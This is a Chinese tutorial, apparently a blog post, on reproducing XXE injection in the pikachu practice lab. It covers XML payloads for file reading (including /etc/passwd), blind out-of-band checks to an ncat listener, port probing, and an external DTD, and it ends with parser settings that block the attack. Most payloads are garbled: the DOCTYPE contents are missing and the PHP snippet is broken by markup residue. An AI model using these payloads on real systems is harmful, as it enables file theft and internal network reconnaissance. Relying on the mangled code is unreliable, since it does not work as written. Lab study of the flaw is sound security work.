XXE漏洞复现实操

文章目录

一、漏洞原理

(1)XXE漏洞全称XML External Entity Injection,即xmI外部实体注入漏洞, XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害,XML(也是一种语言)被设计用来传输和存储数据

(2)也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致漏洞

实验环境:windows pikachu xxe漏洞

二、验证payload

<?xml version = "1.0"?>

]>

&hacker;

三、没有回显时的验证

<?xml version = "1.0"?>

]>

&xxe;

四、漏洞特征

Accept里有application/xml的格式

五、读取文件

<?xml version = "1.0"?> ]> &f;

六、Base64加密读取

<?xml version = "1.0"?> ]> &f;

或则读取linux的/etc/passwd
<?xml version = "1.0"?> ]> &f;

七、端口检测

ncat -lvp 4000(端口可自定义)

使用以下语句尝试是否能够建立连接
<?xml version = "1.0"?><!ENTITY xxe SYSTEM "http://192.168.198.2:4000/">

]>&xxe;

如果能够建立连接,那么服务器端的ncat会收到相应的请求信息。

八、使用php检测端口

<?php $xml=<<

]>

&xxe;

EOF;
<math xmlns="http://www.w3.org/1998/Math/MathML"> d a t a = s i m p l e x m l l o a d s t r i n g ( data=simplexml_load_string( </math>data=simplexmlloadstring(xml);

print_r($data);

?>

端口关闭的情况如下

开启时

九、dtd外部实体读取文件

<?xml version="1.0"?><!DOCTYPE note

\%d;\]\> \&eviltest; # 十、Xxe漏洞防御 1、使用开发语言提供的禁用外部实体的方法 1.PHP: libxml_disable_entity_loader(true); 2.JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); 3.Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

相关推荐
德迅云安全-小潘1 天前
APP运营服务器配置全攻略:从选型到网络安全,你需要知道的一切
运维·服务器·web安全
AIGC设计所2 天前
网络安全8大就业领域和待遇对比!
运维·开发语言·网络·安全·web安全·php
网安薯条2 天前
Kali Linux 虚拟机安装与基础配置保姆级图文教程
linux·运维·网络·安全·web安全·网络安全
YaBingSec2 天前
网络安全靶场WP:Grafana 任意文件读取漏洞(CVE-2021-43798)
android·笔记·安全·web安全·ssh·grafana
m0_738120722 天前
Webshell流量分析——常见扫描器AWVS,goby,xray流量特征分析
服务器·前端·安全·web安全·网络安全
Aision_3 天前
为什么 CTI 场景需要知识图谱?
人工智能·python·安全·web安全·langchain·prompt·知识图谱
HackTwoHub4 天前
全新 AI 赋能网安平台 基于 Mitmproxy 流量分析自动化资产挖、轻量化综合渗透工具箱
人工智能·web安全·网络安全·系统安全·安全架构·sql注入
HackTwoHub4 天前
Linux 内核史诗级本地提权 全网深度复现、原理完整分析( CVE-2026-31431)
linux·运维·安全·web安全·网络安全·代码审计·安全架构
X7x54 天前
筑牢网络安全防线:Web应用防火墙(WAF)全面解析
web安全·网络安全·安全架构·waf
Chengbei114 天前
AI大模型网关存在SQL注入、影响版本LiteLLM 1.81.16~1.83.7(CVE-2026-42208)
数据库·人工智能·sql·安全·web安全·网络安全·系统安全